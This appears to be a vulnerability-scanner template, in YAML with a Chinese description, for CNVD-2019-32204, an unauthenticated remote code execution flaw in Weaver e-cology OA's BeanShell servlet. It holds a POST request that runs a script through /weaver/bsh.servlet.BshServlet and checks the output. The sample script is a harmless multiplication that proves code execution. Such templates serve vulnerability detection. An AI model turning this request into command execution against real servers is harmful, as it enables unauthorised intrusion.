CNVD-2019-32204: 泛微OA E-Cology BshServlet 远程代码执行漏洞

id: CNVD-2019-32204

info:
  name: 泛微OA E-Cology BshServlet 远程代码执行漏洞
  author: l1nk3r
  severity: critical
  verified: false
  description: |
    2019年9月17日泛微OA官方更新了一个远程代码执行漏洞补丁, 泛微e-cology OA系统的Java Beanshell接口可被未授权访问, 攻击者调用该Beanshell接口, 可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行, 漏洞等级严重
    app="泛微-协同办公OA"
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Cology%20BshServlet%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CNVD-2019-32204.html
  tags: cnvd,cnvd2019,ecology,fanwei,oa,rce
  created: 2020/09/11

set:
  r1: randomInt(40000, 44800)
  r2: randomInt(40000, 44800)
rules:
  r0:
    request:
      method: POST
      path: /weaver/bsh.servlet.BshServlet
      body: bsh.script=print%28{{r1}}*{{r2}}%29&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
    expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
expression: r0()